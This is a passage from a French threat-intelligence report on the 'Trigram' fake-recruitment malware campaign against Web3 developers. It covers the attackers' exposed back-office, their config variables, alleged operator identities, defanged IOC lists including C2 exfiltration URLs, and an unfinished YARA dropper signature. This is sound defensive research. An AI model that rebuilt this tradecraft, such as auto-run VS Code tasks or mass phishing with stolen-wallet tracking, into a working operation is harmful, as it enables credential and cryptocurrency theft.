L’infrastructure de consoles a mené à un service web exposé sur le port 8000 de l’adresse 170.205.30[.]27. Ce service, une application Django, renvoyait une page d’erreur détaillée, le mode de débogage étant resté activé. Cette page divulguait la liste des routes de l’application (cf figure 9), le chemin de son code (/root/rms-platform/) et le nom des variables de configuration. Les valeurs sensibles étaient masquées par Django.

Figure 9 : Routes API de RMS.

Ces éléments décrivent une plateforme qui couvre l’ensemble du cycle de la campagne :

Fonction
Éléments observés
Interprétation
Confiance
Ciblage
Routes github_users/, github-stats/, github-jobs-check/ ; clés ScraperAPI ; jetons GITHUB_TOKEN_CG, _CMC, _CONTRIB ; documentation « Logic for Scraping GitHub Users »
Constitution de listes de cibles à partir de GitHub
Élevée
Émission
Clés Resend, Brevo, Mailgun, Smartlead ; limites d’envoi et délais aléatoires
Envoi massif de courriels réparti entre plusieurs fournisseurs
Élevée
Suivi des courriels
Pixel api/t/o.gif, webhooks Resend et Mailgun, routes inbox/, auto-reply/, email-blacklist/
Mesure des ouvertures, gestion des réponses et des désinscriptions
Élevée
Gestion des leurres
Routes api/refcode/, api/waybill/ et leurs job-tags/
Émission et suivi des codes d’accès par cible et par offre
Élevée
Exploitation des données
Routes api/db/tables/, .../export/ ; base MongoDB externe
Consultation et export des données collectées
Élevée
Portefeuilles
Routes api/admin/wallets/ (preview, refresh, claim, claim-all) ; clés Etherscan, Basescan, Polygonscan, Solscan, Tronscan
Suivi de portefeuilles de cryptomonnaies sur cinq réseaux, voire transfert de fonds
Faible à modérée

L'ensemble des constantes de paramètrage utilisées est également listé par le mode debug. Vous trouverez ci-dessous une sélection organisée de ces dernière :

RESEND
BREVO
MAILGUN
SMARTLEAD
EXPLORER BLOCKCHAIN
IA
SCRAPER
GITHUB
LOGIQUE INTERNE
NON IDENTIFIÉ
ALB_RESEND_KEY
ALE_RESEND_KEY
AMB_RESEND_KEY
ANI_RESEND_KEY
APEX_RESEND_KEY
AVA_RESEND_KEY
AXE_RESEND_KEY
AZT_RESEND_KEY
BER_RESEND_KEY
BIT_RESEND_KEY
BOY_RESEND_KEY
BULL_RESEND_KEY
CEL_RESEND_KEY
DIL_RESEND_KEY
DYM_RESEND_KEY
EARN_RESEND_KEY
EIG_RESEND_KEY
ESP_RESEND_KEY
FOURTH_RESEND_API_KEYFUEL_RESEND_KEY
INI_RESEND_KEY
KAI_RESEND_KEY
LAD_RESEND_KEY
GRO_RESEND_KEY
HYP_RESEND_KEYLIN_RESEND_KEY
LUM_RESEND_KEY
MAN_RESEND_KEY
MOV_RESEND_KEY
NAD_RESEND_KEY
NEW_RESEND_API_KEY
MER_RESEND_KEY
MET_RESEND_KEY
MINA_RESEND_KEY
MOT_RESEND_KEY
GEO_RESEND_KEY
NIL_RESEND_KEY
PIX_RESEND_KEY
OCHO_RESEND_KEY
PAN_RESEND_KEY
RIT_RESEND_KEY
SAGA_RESEND_KEY
OSL_RESEND_KEY
SCR_RESEND_KEY
SON_RESEND_KEY
SUC_RESEND_KEY
SURG_RESEND_KEY
SWA_RESEND_KEY
SEI_RESEND_KEY
TAI_RESEND_KEY
TER_RESEND_KEY
THIRD_RESEND_API_KEY
TUR_RESEND_KEY
VER_RESEND_KEY
WEB_RESEND_KEYRESEND_API_KEY
RESEND_DISABLE_WEBHOOK
RESEND_WEBHOOK_SECRET
RESEND_WEBHOOK_SECRETS
RESEND_WEBHOOK_URL
BOY_BREVO_KEY
ESP_BREVO_KEY
FUEL_BREVO_KEY
GRO_BREVO_KEY
INI_BREVO_KEY
MER_BREVO_KEY
MET_BREVO_KEY
MINA_BREVO_KEY
MOT_BREVO_KEY
MOV_BREVO_KEY
NIL_BREVO_KEY
OSL_BREVO_KEY
SEI_BREVO_KEY
MAILGUN_STATS_INTERVAL_SECONDS
SMARTLEAD_API_KEY
SMARTLEAD_BASE_URL
SMARTLEAD_CAMPAIGN_ID
BASESCAN_API_KEY
ETHERSCAN_API_KEY
POLYGONSCAN_API_KEY
SOLSCAN_API_KEY
TRONSCAN_API_KEY
GEMINI_API_KEY
SCRAPERAPI_API_KEY
GH_BACKUP_REPO = "alexlopez-g/rms-platform"
GITHUB_ETHEREUM_TOKEN
GITHUB_TOKEN
GITHUB_TOKEN_CG
GITHUB_TOKEN_CMC
GITHUB_TOKEN_CONTRIB
CSV_EMAIL_LIMIT
CSV_EMAIL_LIMIT_TWO
CSV_EMAIL_LIMIT_THREE
DAILY_EMAIL_LIMIT
DESIGN_EMAIL_LIMIT
OFFER_JOB_ACTIVE_DAYS
OFFER_JOB_CROSS_COOLDOWN_DAYS
OPEN_PIXEL_URL
SEND_CYCLE_DELAY_JITTER_S
SEND_CYCLE_DELAY_MIN_S
SLACK_TOKEN_1
SLACK_TOKEN_2
TELEGRAM_API_HASH
TELEGRAM_API_ID
TELEGRAM_BOT_TOKEN
TELEGRAM_USER
CG_API_KEY

Ciblage

Plusieurs éléments suggèrent une collecte automatisée des cibles sur GitHub : la documentation de la plateforme décrit pas à pas l’extraction de profils via l’API GitHub et des constantes associées à GitHub ont été relevées dans la configuration de RMS. Cette hypothèse est cohérente avec le ciblage observé : des développeurs de l’écosystème Web3, contactés au nom de projets blockchain.

Figure 10 : Section "Logic for Scraping GitHub Users" de la documentation des attaquants.

Émission

La plateforme répartit ses envois entre quatre fournisseurs d'envoi de mail : Resend, Brevo, Mailgun et Smartlead. Elle s’appuie sur plus de 50 clés d’API Resend, 13 clés Brevo et 3 clés Smartlead, chacune associée à une marque usurpée. Plusieurs paramètres visent à rester sous les seuils de détection de spam : limites d’envoi quotidiennes, délais aléatoires entre deux cycles d’envoi, durée de validité des offres et délai minimal avant de proposer une nouvelle offre à une même cible.

La documentation interne associée à l'envoi de mail par les attaquants (figure 10) révèle également une IP 198.54.127[.]82.

Figure 11 : Section configuration d'envoi des mails de la documentation des attaquants.

Suivi et gestion des leurres

Les codes de parrainage décrits dans la phase d’accès initial sont émis et vérifiés par la plateforme de back-office des opérateurs, de même que les codes de suivi de colis (waybill). Chaque code est associé à une offre (job-tags) et, d’après les messages d’erreur des leurres, à une adresse IP. Un pixel de suivi et des web-hooks complètent le dispositif en mesurant l’ouverture des courriels et les réponses reçues.

Portefeuilles de cryptomonnaies

La fonction de ce module n’a pas pu être établie avec certitude. Plusieurs éléments laissent penser qu’il sert à surveiller des portefeuilles de crypto monnaies et à en transférer le contenu. Nous avons également constaté qu'ils disposent de clés d’explorateurs couvrant cinq réseaux blockchains : Basescan, Etherscan, Polygonscan, Solscan et Tronscan.

Nous retenons cette hypothèse avec une confiance faible à modérée. Si elle se confirme, elle placerait la finalité financière au centre de la campagne. Plus d'éléments à venir lors d'un prochain article.

Développement assisté par IA

La documentation servie par la plateforme (route guide/) contient des passages qui semblent directement issus d’un échange avec assistant conversationnel (hypothèse basée sur la présence d'emoji, de tiret cadratin et de marqueurs de discussion comme just let me know your domain name). L’un d’eux, consacré au contournement des blocages de Gmail, se termine par une proposition d’aide adressée à l’utilisateur, typique de ce type d’outil. La configuration référence par ailleurs l'usage d'une clé d’API Gemini.

Figure 12 : Section configuration d'envoi des mails de la documentation des attaquants.

Une campagne industrialisée : environ 50 marques usurpées

Les variables de configuration suivent une convention de nommage systématique : un préfixe de trois ou quatre lettres, suivi du nom du fournisseur (par exemple : MINA_RESEND_KEY, MINA_BREVO_KEY). Ces préfixes désignent les marques usurpées. On les retrouve à la fois dans :

  • les noms de domaine des leurres,
  • un répertoire exposé sur 193.160.32[.]10 (port 8080), qui contient les visuels de chaque page leurre,
  • un second répertoire exposé sur le même serveur (port 8090), qui liste des domaines leurres.

Figure 13 : Open Directory sur 193.160.32[.]10.

Sur les 55 clés Resend, une cinquantaine portent un préfixe de marque. Les autres (THIRD, FOURTH, NEW, EIG, OCHO) semblent numérotées. Le tableau suivant présente quelques correspondances établies :

Préfixe
Marque probable
Domaine(s) observé(s)
Clé Resend
Clé Brevo
RIT
Ritual
buildwithritual[.]xyz
ritualtalents[.]xyz
✓
-
MINA
Mina
buildwithmina[.]ink
✓
✓
MET
Metis
joinmetis[.]site
✓
✓
MAN
Mantle
mantlehires[.]xyz
mantle2council[.]xyz
✓
-
LIN
Linea
lineacareers[.]xyz
inv2linea[.]xyz
✓
-
INI
Initia
inv2initia[.]ink
✓
✓
FUEL
Fuel
fuelcouncil[.]ink
✓
✓
BOY
Boyaa
inv2boyaa[.]site
✓
✓

Certains domaines confirment par ailleurs l’usage de Brevo : leur zone DNS contient un enregistrement TXT brevo-code, qui sert à vérifier la propriété d’un domaine auprès de ce fournisseur français. Plusieurs domaines partagent le même code, ce qui indique qu’ils ont été enregistrés depuis un même compte Brevo :

Domaines
Code Brevo
workwithapex[.]xyz
dymensioncareers[.]xyz
d7e1fad24bec3461127a5b0abb8477c0
buildwithespresso[.]online
joinmotus[.]site
b6ef333e88a4c32052b8da81bea56822
inv2boyaa[.]site
oslhires[.]ink
23fb87dba7987105af15305733fd19ef
buildwithmina[.]ink
verifearth[.]space
movementgigs[.]site
066500479fee42a43a18b969729c3a62
lineacareers[.]xyz
mantlehires[.]xyz
3268b8179366a1207ce673319bfc3074
joinmetis[.]site
fuelcouncil[.]ink
17b87eea9dd474a58be45a8a8547ddaa
inv2initia[.]ink
buildwithmercor[.]site
0026b5baa3b105bd06dcb8af608585be
ritualtalents[.]xyz
groundvy[.]xyz
8cea1f1ebd2992af6506ecdd6e1d3fd5

L’échelle de la campagne ressort de ces correspondances : une cinquantaine de marques, chacune dotée de ses domaines, de ses visuels et de ses comptes d’envoi, le tout piloté depuis une plateforme unique. Ce niveau d’organisation traduit une opération industrialisée, conçue pour être déclinée rapidement sur de nouvelles marques et pour survivre à la neutralisation de certains domaines.

Attribution

Super-administrateur des consoles : eros1030109@gmail[.]com

Les consoles d’administration servent un fichier source TypeScript, superAdmin.ts, qui accorde des droits complets à une adresse électronique codée en dur :

export const SUPER_ADMIN_EMAIL = "eros1030109@gmail.com";
export interface SuperAdminClaims {
  email?: string;
  is_super_admin?: boolean;
}
/** True when the logged-in user is the configured superAdmin. */
export function isSuperAdmin(
  user: SuperAdminClaims | null | undefined
): boolean {
  if (!user) return false;
  if (user.is_super_admin === true) return true;
  return (
    (user.email || "").trim().toLowerCase() === SUPER_ADMIN_EMAIL.toLowerCase()
  );
}

Cette adresse figure parmi les indicateurs publiés par Genians le 10 août 2026, dans un rapport attribuant à Kimsuky une opération recourant à des LLM locaux et à des dépôts Git comme infrastructure de commande [3]. OctoProbe l’associe au nom d’affichage « Oura Kano », partagé avec l’adresse jumelle apollo1030109@gmail[.]com [4].

Administrateur au relais C2 : 0xapp123

Un compte Medium utilisant le pseudonyme @0xapp123 a publié un article présentant des projets Web3 passés et invitant les lecteurs à le contacter pour des opportunités professionnelles [6]. L’adresse de contact indiquée est celle du super-administrateur, eros1030109@gmail[.]com.

Le même pseudonyme apparaît au cœur de l’infrastructure C2 : le fichier config.json du relais up-indexings/tasks (voir Niveau 2) a été déposé par un compte GitLab nommé 0xapp123. Le lien entre les deux comptes repose sur la seule identité du pseudonyme. Toutefois, ce pseudonyme est associé, d’un côté, à l’adresse du super-administrateur et, de l’autre, à la gestion du relais C2 de la même campagne.

Nous estimons avec une confiance élevée que ces comptes relèvent d’un même opérateur.

Base de données liée au relais documenté par SafeDep : silviattech1129

La configuration de rms-platform contient l’adresse de connexion à une base MongoDB hébergée, dont l’utilisateur se nomme silviattech1129_db_user. Cet identifiant apparaît aussi dans l’historique du relais drop-indexings/tasks documenté par SafeDep [2] : l’adresse de l’auteur d’un commit de ce dépôt utilise le même nom d’utilisateur, silviattech1129 (commit 6b84014). Cette correspondance exacte, sur un identifiant peu commun, relie directement la chaîne d’infection décrite par SafeDep à la plateforme de pilotage analysée ici.

Nous estimons avec une confiance élevée que la compromission d’antd-img-crop et la campagne Trigram relèvent des mêmes opérateurs.

Développeur : alexlopez-g

La configuration de rms-platform désigne un dépôt de sauvegarde du code de la plateforme : alexlopez-g/rms-platform (variable GH_BACKUP_REPO). Le compte GitHub alexlopez-g se présente comme un développeur basé dans l’État de Washington (hxxps://www.linkedin[.]com/in/alex-lopez-g).

Figure 14 : Profil GitHub de alexlopez-g.

Ce compte a contribué au dépôt Foxtopia-NFT/foxtopia-frontend, présenté comme une application NFT, avec un commit signé de l’adresse harper.danie95@gmail[.]com. Trois éléments rattachent ce dépôt à la campagne :

  • Les fichiers malveillants. Le répertoire src/fonts/vendor contient des scripts dont les noms et la fonction correspondent aux droppers décrits dans cet article : install-guard-launcher.js, setup-env.cmd, setup-env.sh, setup-env-launcher.vbs, env-check.js.
  • Le mécanisme d’exécution. Le dépôt contient un fichier .vscode/tasks.json (qui déclenche ces scripts à l’ouverture du projet). C’est le procédé décrit par Proofpoint pour UNK_DeadDrop : une tâche configurée pour s’exécuter à l’ouverture du dossier lance des scripts placés dans un répertoire vendor/ [1].
  • L’usage dans des approches de recrutement. Le 26 juin 2026, une designer a alerté la communauté de la plateforme Contra après avoir reçu deux offres d’emploi quasi identiques, l’une de l’adresse harper.danie95@gmail[.]com, l’autre du domaine dscufo[.]xyz. Toutes deux l’invitaient à exécuter une commande dans son terminal [5].

Figure 15 : https://contra.com/community/weG4gy2L-alert-avoid-fake-designer-job-offers.

Le compte alexlopez-g apparaît ainsi à la fois comme gestionnaire du code de la plateforme et comme auteur d’un dépôt piégé.

Nous estimons avec une confiance élevée qu’il est contrôlé par les opérateurs de la campagne. On note par ailleurs que Proofpoint relevait de nombreux expéditeurs utilisant le prénom « Alex » dans les campagnes UNK_DeadDrop [1].

Recruteur : pichi_finance_hr

La plateforme est configurée pour piloter un compte Telegram, pichi_finance_hr. Le nom usurpe le service des ressources humaines de Pichi Finance, un projet de cryptomonnaie réel aujourd’hui inactif, qui avait notamment levé des fonds auprès de Mantle Network, une marque également usurpée par la campagne. Notre hypothèse est donc que Telegram sert vraisemblablement de canal d’approche complémentaire aux courriels.

Synthèse des identités

Identifiant
Plateformes
Rôle
Éléments de rattachement
Confiance
eros1030109@gmail[.]com
Gmail
Super-administrateur des consoles
superAdmin.ts ; IOC Genians ; contact Medium
Élevée
0xapp123
Medium, GitLab
Gestion du relais C2
Dépôt de config.json ; adresse eros1030109
Élevée
silviattech1129
MongoDB, GitLab
Base de données ; relais C2
Utilisateur MongoDB ; auteur d’un commit de drop-indexings
Élevée
alexlopez-g/ harper.danie95@gmail[.]com
GitHub, Gmail
Développement ; dépôts piégés ; approche
GH_BACKUP_REPO ; Foxtopia ; alerte Contra
Élevée
pichi_finance_hr
Telegram
Faux recruteur
Variable TELEGRAM_USER
Élevée

Rattachement aux activités connues : un prolongement de l’activité UNK_DeadDrop

Proofpoint suit depuis avril 2026, sous le nom UNK_DeadDrop, une campagnes très probablement alignée sur la Corée du Nord. Il cible les développeurs du secteur des cryptomonnaies par des courriels d’offres d’emploi ou de demandes de revue de code renvoyant vers des dépôts piégés [1]. Trigram partage avec ce cluster trois types d’éléments :

  • L’infrastructure. Le domaine asteara[.]org et l’adresse 170.205.29[.]83, attribués par Proofpoint à UNK_DeadDrop, hébergent ou servent le back-office de Trigram.
  • L’outillage. Quelques indicateurs indiquent que la charge finale repose sur le framework OverLord [2], dont Proofpoint décrit une version modifiée chez UNK_DeadDrop [1]. Elle supprime une extension d’éditeur google-update-support qu’elle n’installe pas elle-même [2] : c’est le nom de l’extension qu’UNK_DeadDrop installe pour assurer sa persistance [1]. Ce framework sera détaillé davantage dans un prochain article.
  • Le mode opératoire. Le dépôt Foxtopia reprend le mécanisme tasks.json + vendor/ décrit par Proofpoint, comme l'attestent ces deux captures du repo.

Figure 16: https://github.com/Foxtopia-NFT/foxtopia-frontend/blob/main/.vscode/tasks.json.

 

Figure 17 : https://github.com/Foxtopia-NFT/foxtopia-frontend/blob/main/.vscode/tasks.json.

Trigram s’en distingue par l’élargissement de ses vecteurs (portails ClickFix, invitation à une conférence, compromission d’un dépôt légitime) et par une charge récupérée à distance plutôt qu’embarquée dans le dépôt. Nous estimons avec une confiance élevée que Trigram s’inscrit dans la continuité de l’activité UNK_DeadDrop avec un mode opératoire en renouveau.

Conclusion

Ce qu’il faut retenir

Trigram est une campagne d’ampleur, qui usurpe une cinquantaine de marques dans les domaines de la blockchain et de l’IA pour amener des développeurs à exécuter eux-mêmes un voleur d’identifiants et de portefeuilles. Trois scénarios (recrutement, conférence et suivi de colis), une compromission de la chaîne d’approvisionnement logicielle et des dépôts de code piégés convergent vers une même infrastructure et une même charge.

L’analyse de cette infrastructure a mis au jour les coulisses masquées de l'attaque : un véritable panneau de contrôle malveillant (C2 dashboard). Ce système automatise le ciblage d'utilisateurs sur GitHub, orchestre des campagnes massives de phishing via quatre fournisseurs de messagerie, surveille en temps réel la compromission de chaque victime et blanchit les fonds dérobés via des portefeuilles de cryptomonnaies. Les recoupements avec les travaux de Proofpoint, SafeDep et Genians inscrivent cette activité dans la continuité du cluster UNK_DeadDrop, attribué à un groupe cyber-offensif aligné sur la Corée du Nord.

Une menace qui s’industrialise

Quatre tendances ressortent de cette analyse :

  • L’industrialisation. L’ingénierie sociale ne repose plus sur des échanges individuels, mais sur une plateforme de gestion de campagne comparable à un outil de marketing : segmentation des cibles, quotas d’envoi, indicateurs de conversion, supervision des leurres.
  • La multiplication des vecteurs. Une même charge est distribuée par des sites leurres, des dépôts de code piégés et la compromission de projets légitimes. Les opérateurs exploitent ainsi la confiance des développeurs dans leurs outils quotidiens.
  • Le recours aux services légitimes. Fournisseurs d’envoi de mails et plateformes de code compliquent la détection.
  • Le recours à l’IA. Services d’analyse comportementale et assistants conversationnels abaissent le coût de l’opération.

La suite de l'analyse prochainement

Le dropper étudié déploie en début d'article ensuite un infostealer et un agent. Leur fonctionnement et leurs capacités seront détaillés dans un prochain article, incluant nos découvertes sur les cryptomonnaies.

Références

Annexes

Techniques MITRE ATT&CK observées sur les droppers

Tableau MITRE ATT&CK.

IOCs identifiés

Type
Valeur
Confiance
Description et remarque
Domaine
geoveral[.]space
Forte
Leurre
Domaine
lumenorbit[.]space
Forte
Leurre
Domaine
terraverro[.]space
Forte
Leurre
Domaine
albedorb[.]space
Forte
Leurre
Domaine
veriearth[.]space
Forte
Leurre
Domaine
swathely[.]space
Forte
Leurre
Domaine
nadirva[.]space
Forte
Leurre
Domaine
groundvy[.]space
Forte
Leurre
Domaine
bullishtalents[.]xyz
Forte
Leurre
Domaine
ambercouncil[.]xyz
Forte
Leurre
Domaine
boytalents[.]xyz
Forte
Leurre
Domaine
joinnillion[.]xyz
Forte
Leurre
Domaine
seihires[.]xyz
Forte
Leurre
Domaine
inv2scroller[.]xyz
Forte
Leurre
Domaine
availcouncil[.]xyz
Forte
Leurre
Domaine
rdcouncil[.]xyz
Forte
Leurre
Domaine
oslcouncil[.]xyz
Forte
Leurre
Domaine
eignecloudhires[.]xyz
Forte
Leurre
Domaine
movementhires[.]xyz
Forte
Leurre
Domaine
inv2taiko[.]xyz
Forte
Leurre
Domaine
joinearnest[.]xyz
Forte
Leurre
Domaine
lineahires[.]xyz
Forte
Leurre
Domaine
jointuring[.]xyz
Forte
Leurre
Domaine
pixelground[.]space
Forte
Leurre
Domaine
celestiatalents[.]xyz
Forte
Leurre
Domaine
mercortalents[.]xyz
Forte
Leurre
Domaine
joinsaga[.]xyz
Forte
Leurre
Domaine
buildwithaztec[.]xyz
Forte
Leurre
Domaine
joinfuel[.]xyz
Forte
Leurre

Domaine
hyperlanecouncil[.]xyz
Forte
Leurre
Domaine
kaicouncil[.]xyz
Forte
Leurre
Domaine
metiscouncil[.]xyz
Forte
Leurre
Domaine
mantle2council[.]xyz
Forte
Leurre
Domaine
buildwithalephzero[.]xyz
Forte
Leurre
Domaine
joinocho[.]xyz
Forte
Leurre
Domaine
inv2surge[.]xyz
Forte
Leurre
Domaine
minatalents[.]xyz
Forte
Leurre
Domaine
joinaxelar[.]xyz
Forte
Leurre
Domaine
initiatalents[.]xyz
Forte
Leurre
Domaine
bit2talents[.]xyz
Forte
Leurre
Domaine
workwithbera[.]xyz
Forte
Leurre
Domaine
dymensionhires[.]xyz
Forte
Leurre
Domaine
animocacouncil[.]xyz
Forte
Leurre
Domaine
joinwebflow[.]xyz
Forte
Leurre
Domaine
ritualhires[.]xyz
Forte
Leurre
Domaine
pantherbuilders[.]xyz
Forte
Leurre
Domaine
soniccouncil[.]xyz
Forte
Leurre
Domaine
inv2apexef[.]xyz
Forte
Leurre
Domaine
inv2motus[.]xyz
Forte
Leurre
Domaine
joinsuccinct[.]xyz
Forte
Leurre
Domaine
jointheladders[.]xyz
Forte
Leurre
Domaine
joindill[.]xyz
Forte
Leurre
Domaine
espresssotalents[.]xyz
Forte
Leurre
Domaine
inv2sonic[.]xyz
Forte
Leurre
Domaine
joinkaia[.]xyz
Forte
Leurre
Domaine
inv2animoca[.]xyz
Forte
Leurre
Domaine
inv2amber[.]xyz
Forte
Leurre
Domaine
inv2avail[.]xyz
Forte
Leurre
Domaine
eigencouncil[.]xyz
Forte
Leurre

Domaine
buildwithritual[.]xyz
Forte
Leurre
Domaine
buildwithrd[.]xyz
Forte
Leurre
Domaine
buildwithdymension[.]xyz
Forte
Leurre
Domaine
movementcouncil[.]xyz
Forte
Leurre
Domaine
workwithsei[.]xyz
Forte
Leurre
Domaine
workwithlinea[.]xyz
Forte
Leurre
Domaine
seicareers[.]site
Forte
Leurre
Domaine
workwithapex[.]xyz
Forte
Leurre
Domaine
dymensioncareers[.]xyz
Forte
Leurre
Domaine
buildwithespresso[.]online
Forte
Leurre
Domaine
berahires[.]online
Forte
Leurre
Domaine
axelarbuilders[.]ink
Forte
Leurre
Domaine
buildwithnillion[.]site
Forte
Leurre
Domaine
inv2boyaa[.]site
Forte
Leurre
Domaine
dymensioncouncil[.]site
Forte
Leurre
Domaine
apexbuilders[.]site
Forte
Leurre
Domaine
joinmotus[.]site
Forte
Leurre
Domaine
oslhires[.]ink
Forte
Leurre
Domaine
movementgigs[.]site
Forte
Leurre
Domaine
surgebuilders[.]ink
Forte
Leurre
Domaine
workwitheigen[.]xyz
Forte
Leurre
Domaine
inv2bullish[.]xyz
Forte
Leurre
Domaine
scrolltalents[.]online
Forte
Leurre
Domaine
sonichires[.]site
Forte
Leurre
Domaine
buildwithmina[.]ink
Forte
Leurre
Domaine
verifearth[.]space
Forte
Leurre
Domaine
albedorb[.]world
Forte
Leurre
Domaine
pixelground[.]xyz
Forte
Leurre
Domaine
terraverro[.]info
Forte
Leurre
Domaine
nadirva[.]info
Forte
Leurre

Domaine
geoveral[.]ink
Forte
Leurre
Domaine
groundvy[.]xyz
Forte
Leurre
Domaine
lineagigs[.]site
Forte
Leurre
Domaine
joinmantle[.]ink
Forte
Leurre
Domaine
inv2celestia[.]online
Forte
Leurre
Domaine
buildwithmercor[.]site
Forte
Leurre
Domaine
inv2initia[.]ink
Forte
Leurre
Domaine
fuelcouncil[.]ink
Forte
Leurre
Domaine
joinmetis[.]site
Forte
Leurre
Domaine
mantlehires[.]xyz
Forte
Leurre
Domaine
lineacareers[.]xyz
Forte
Leurre
Domaine
ritualtalents[.]xyz
Forte
Leurre
Domaine
icagllmbt[.]space
Forte
Leurre
Domaine
whaleradar[.]ink
Forte
Leurre
Domaine
d2stradeapp[.]ink
Forte
Leurre
Domaine
ievade[.]net
Forte
Leurre
Domaine
waybilltrack[.]xyz
Forte
Leurre
Domaine
freightviewer[.]ink
Forte
Leurre
Domaine
tracedhl[.]xyz
Forte
Leurre
Domaine
shipdhl[.]xyz
Forte
Leurre
Domaine
loadtrace[.]delivery
Forte
Leurre
Domaine
freightracker[.]ink
Forte
Leurre
Domaine
shiptrace[.]delivery
Forte
Leurre
Domaine
transitwatch[.]ink
Forte
Leurre
Domaine
loadwatchdhl[.]xyz
Forte
Leurre
Domaine
shiptransit[.]ink
Forte
Leurre
Domaine
loadwatcherdpd[.]ink
Forte
Leurre
Domaine
loadtracedpd[.]xyz
Forte
Leurre
Domaine
loadshipdpd[.]ink
Forte
Leurre
Domaine
loadwadpd[.]xyz
Forte
Leurre

Domaine
loadwatchdpd[.]ink
Forte
Leurre
Domaine
tracedpd[.]xyz
Forte
Leurre
Domaine
tracearamex[.]ink
Forte
Leurre
Domaine
trackaramex[.]xyz
Forte
Leurre
Domaine
parcelaramex[.]ink
Forte
Leurre
Domaine
parcelaramex[.]ink
Forte
Leurre
Domaine
tracearamex[.]ink
Forte
Leurre
Domaine
loadshiparamex[.]ink
Forte
Leurre
Domaine
loadwatcharamex[.]xyz
Forte
Leurre
Domaine
shiparamex[.]xyz
Forte
Leurre
Domaine
parcelaramex[.]xyz
Forte
Leurre
Domaine
scrollbuilders[.]xyz
Forte
Leurre
Domaine
kaiatalents[.]xyz
Forte
Leurre
Domaine
inv2metis[.]xyz
Forte
Leurre
Domaine
alephzerotalents[.]xyz
Forte
Leurre
Domaine
buildwithlinea[.]xyz
Forte
Leurre
Domaine
osltalents[.]xyz
Forte
Leurre
Domaine
inv2eigen[.]xyz
Forte
Leurre
Domaine
sagabuilders[.]xyz
Forte
Leurre
Domaine
dymensiontalents[.]xyz
Forte
Leurre
Domaine
sonictalent[.]xyz
Forte
Leurre
Domaine
joinhyperlane[.]xyz
Forte
Leurre
Domaine
sagatalents[.]xyz
Forte
Leurre
Domaine
seitalents[.]xyz
Forte
Leurre
Domaine
taikotalent[.]xyz
Forte
Leurre
Domaine
buildwithsei[.]xyz
Forte
Leurre
Domaine
alephzerobuilders[.]xyz
Forte
Leurre
Domaine
jointoamber[.]xyz
Forte
Leurre
Domaine
inv2dymension[.]xyz
Forte
Leurre
Domaine
ambertalents[.]xyz
Forte
Leurre

Domaine
animocabuilders[.]xyz
Forte
Leurre
Domaine
lineatalent[.]xyz
Forte
Leurre
Domaine
joinanimoca[.]xyz
Forte
Leurre
Domaine
jointoavail[.]xyz
Forte
Leurre
Domaine
buildiwitheigen[.]xyz
Forte
Leurre
Domaine
buildwithtaiko[.]xyz
Forte
Leurre
Domaine
inv2mantle[.]xyz
Forte
Leurre
Domaine
inv2nillion[.]xyz
Forte
Leurre
Domaine
nillionbuilders[.]xyz
Forte
Leurre
Domaine
turingbuilders[.]xyz
Forte
Leurre
Domaine
buildwithboyaa[.]xyz
Forte
Leurre
Domaine
succinctbuilders[.]xyz
Forte
Leurre
Domaine
seibuilders[.]xyz
Forte
Leurre
Domaine
inv2saga[.]xyz
Forte
Leurre
Domaine
joineigencloud[.]xyz
Forte
Leurre
Domaine
aztectalents[.]xyz
Forte
Leurre
Domaine
joinaztec[.]xyz
Forte
Leurre
Domaine
aztecbuilders[.]xyz
Forte
Leurre
Domaine
inv2bera[.]xyz
Forte
Leurre
Domaine
beratalents[.]xyz
Forte
Leurre
Domaine
movementtalents[.]xyz
Forte
Leurre
Domaine
axelartalents[.]xyz
Forte
Leurre
Domaine
ritualbuilders[.]xyz
Forte
Leurre
Domaine
rdtalents[.]xyz
Forte
Leurre
Domaine
dymensionbuilders[.]xyz
Forte
Leurre
Domaine
inv2osl[.]xyz
Forte
Leurre
Domaine
buildwithfuel[.]xyz
Forte
Leurre
Domaine
buildwithsonic[.]xyz
Forte
Leurre
Domaine
nilliontalents[.]xyz
Forte
Leurre
Domaine
buildwithbullish[.]xyz
Forte
Leurre

Domaine
movementbuilders[.]xyz
Forte
Leurre
Domaine
panthertalents[.]xyz
Forte
Leurre
IP
170.205.31[.]182
Forte
-
IP
216.198.79[.]1
Forte
-
IP
198.54.127[.]82
Forte
-
IP
170.205.29[.]83
Forte
-
IP
185.147.159[.]187
Forte
-
IP
146.19.215[.]187
Forte
-
IP
170.205.30[.]27
Forte
-
IP
193.160.32[.]10
Forte
-
IP
193.160.32[.]188
Forte
-
IP
65.110.40[.]18
Forte
-
IP
170.205.28[.]251
Forte
-
IP
193.160.32[.]243
Forte
-
IP
208.84.100[.]64
Forte
-
IP
23.137.104[.]77
Forte
-
Domaine
validator[.]dokamacto.xyz
Forte
Dashboard
Domaine
online[.]dokamacto.xyz
Forte
Dashboard
Domaine
dokamacto[.]xyz
Forte
Dashboard
Domaine
dashboard[.]asteara.org
Forte
Dashboard
Domaine
dashboard[.]gaganata.ink
Forte
Dashboard
Domaine
almanac[.]3dscenebox.online
Forte
Dashboard
Domaine
dashboard[.]cklomino.ink
Forte
Dashboard
Domaine
gamsterb[.]ink
Forte
C2
Domaine
api[.]cerysoi[.]ink
Forte
C2
Domaine
api[.]fallgganata[.]ink
Forte
C2 de secours
URL
hxxps://api.gamsterb.ink/guard-launcher-result
Forte
Transmission du résultat d'exécution du dropper
URL
hxxps://api.gamsterb.ink/guard-install-log
Forte
Transmission des journaux d'installation et d'exécution
URL
hxxps://api.fallgamsterb.ink/guard-launcher-result
Forte
Transmission du résultat d'exécution du dropper
URL
hxxps://api.fallgamsterb.ink/guard-install-log
Forte
Transmission des journaux d'installation et d'exécution

HASH
cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6
Forte
Dropper Linux qui permet d'installer une seconde charge
HASH
249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa
Forte
Dropper Windows qui permet d'installer une seconde charge

Infrastructure TRIGRAM

Nos analystes ont cartographié l'infrastructure de TRIGRAM à l'aide de l'application osintracker.

En voici une miniature :

Graphe osintracker de l'infrastructure Trigram.

Signatures

Signatures Yara

rule Dropper_DeepfakeGuard_NodeLoader_Generic
{
    meta:
        description = "DeepfakeGuard Dropper: Bash launchers for Linux/macOS and Batch for Windows featuring Base64 payloads to load a malicious JS file via Node.js"
        author      = "Stormshield"
        hashes      = "cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6, 249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa"
        created     = "2026-11-06"
        modified    = "2026-11-06"
